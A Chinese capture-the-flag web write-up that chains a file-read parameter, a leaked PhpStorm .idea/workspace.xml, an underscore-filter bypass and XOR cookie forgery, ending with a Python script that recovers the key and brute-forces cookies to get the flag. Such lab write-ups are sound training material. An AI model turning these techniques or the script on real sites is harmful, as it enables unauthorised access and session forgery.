Code
打开是
一幅很唯美的穹妹图,咳咳!说正题,哥哥与妹妹。。。。。。不对不对,这里是web题!
观察url我们发现后缀是/index.php?jpg=hei.jpg,很明显这是一个文件读取的操作,我们直接看hei.jpg我网页发现是个很长很长的连接,根据提示是个base64代码,所以我们打开bp使用decode解码发现是个乱码
将hei.jpg修改为index.php试试
查看源码,点进去又是一段神秘code,根据提示将其复制到bp中使用decode解码后得到一段php代码
读一下这个代码,给出信息,基于phpstorm,数据是15年的,时间是1.31,然后是正文,如果jpg为空就执行header函数,file等于GET类型传入的jpg,打印一段代码,然后又分别执行两个关于file的函数变值函数,然后txt等于file_get_contents($file)的解码,再打印出图片信息,最后提问你能找到flag文件吗?
根据created by phpstorm我们了解到用PhpStorm写的,这个软件写的时候会生成一个.idea的文件夹,它存储了项目的配置文件,一般还存在workspace.xml,所以这里直接将连接修改为
http://9210c9386e0c4ba4aabbffc4f4e812d300eeae9d2de44bac.changame.ichunqiu.com/.idea/workspace.xml
得到一个配置界面,找到关键信息
此地无银三百两,直接访问fl3g....后缀的
http://9210c9386e0c4ba4aabbffc4f4e812d300eeae9d2de44bac.changame.ichunqiu.com/fl3g_ichuqiu.php
╮(╯▽╰)╭。。。。看看源码╮(╯▽╰)╭。。。。可能哪出错了
试试index.php?jpg=fl3g_ichuqiu.php发现也不得行
最后搜了下发现_被过滤了。。。。要使用config代替
使用
查看源码,又是一堆base64加密的,我们继续用bp的decode
得到另一段php代码
这段代码读了好久,分开来看能看懂,但由于太多了就没怎么理解整段的意思,这里去翻了下zy731dalao的解释:获取key,使得key与$_COOKIE['user']的解密结果为system,而获取key则是通过浏览器向服务器请求“抱歉”表情界面的url,服务器就会向浏览器返回一个固定的cookie值:encrypt('guest',$key),则cookie值就是明文“guest”与key(5位)加密的结果(即guest与key异或得到cookie,那么guest与cookie异或可以得到key)得到5位的key后,可以爆破第六位的key,只要用得到的5位key连接上构造的第六位key,与“system”进行加密得到的user变量的cookie值去请求相应的url,通过服务器反馈的内容含有“flag”关键字符,则说明构造的第六位key值正确,从而可以得到六位的key以及flag的内容。
然后通过py脚本来获取flag
这里附上dalao的脚本(写的好详细):
# _*_ coding: utf-8 _* import requests import string from base64 import * #返回“抱歉”表情的url url="http://f919a9d8de2948959913b22f7a6fce6f0ebfac64b4324ba5.changame.ichunqiu.com/fl3g_ichuqiu.php" #请求该url,获取服务器返回的user变量的cookie值,即encrypt('guest',$key) cookie=requests.get(url).cookies['user'] #将密文cookie进行base64解码 txt=b64decode(cookie) rnd=txt[:4] #密文的前4位字符为随机字符 ttmp=txt[4:]#ttmp为'guest'与key进行异或的密文值,ttmp与'guest'的位数一样,为5位 keys=list('xxxxxx') #六位key的初始字符串 guest=list('guest')#guest明文内容 system=list('system') for i in range(len(guest)): guest[i]=chr(ord(guest[i])+10)#guest明文的ascii码加10,为guest加密做准备(encrypt('guest',$key)) for i in range(len(guest)): keys[i]=chr(ord(ttmp[i])^ord(guest[i]))#ttmp为'guest'与key进行异或的密文值,则ttmp与guest异或为keys for i in range(len(system)): system[i]=chr(ord(system[i])+10)#system的ascii码加10,为system加密做准备 letters='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'#第六位key的爆破字符 ttmp_new='' #system与keys的异或值 cookie_system=[] str='' for ch in letters: keys[5]=ch for i in range(len(system)): ttmp_new +=chr(ord(system[i])^ord(keys[i])) str=rnd+ttmp_new #随机字符与异或结果进行拼接 cookie_system.append(b64encode(str)) #将拼接结果进行base64加密,得到flag界面的cookie值,并将其填充到字典cookie_system中 ttmp_new=''#爆破一次,就将ttmp_new初始化一次 # # print cookie_system #输出所有可能的key爆破得到的cookie值 for i in cookie_system: cookies={'user':i} #cookie变量为user,值为i res=requests.get(url,cookies=cookies) #用所有的cookie值去尝试访问服务器,得到的反馈为res if 'flag' in res.content:#如果反馈的内容含有‘flag’关键字,则说明请求的cookie正确,即keys爆破成功 #print cookie_system[i] #输出正确的cookie值 print res.content #输出服务器反馈的内容,即flag
获得flag